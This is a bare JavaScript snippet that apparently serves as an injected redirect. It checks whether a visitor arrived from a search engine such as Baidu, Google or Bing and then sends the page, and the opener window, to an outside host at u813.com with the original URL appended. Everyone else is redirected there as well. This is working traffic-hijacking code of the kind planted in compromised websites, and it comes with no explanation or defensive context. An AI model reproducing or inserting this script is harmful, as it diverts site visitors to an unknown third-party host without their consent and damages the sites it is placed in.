today=new Date(); 
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|360|ioage|co.tv)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where)){window.location.href="http://www.u813.com/5c5c5c/?"+window.location.href+"";window.opener.navigate("http://www.u813.com/5c5c5c/?"+window.location.href+"");}
else
{
window.location.href="http://www.u813.com/5c5c5c/";
}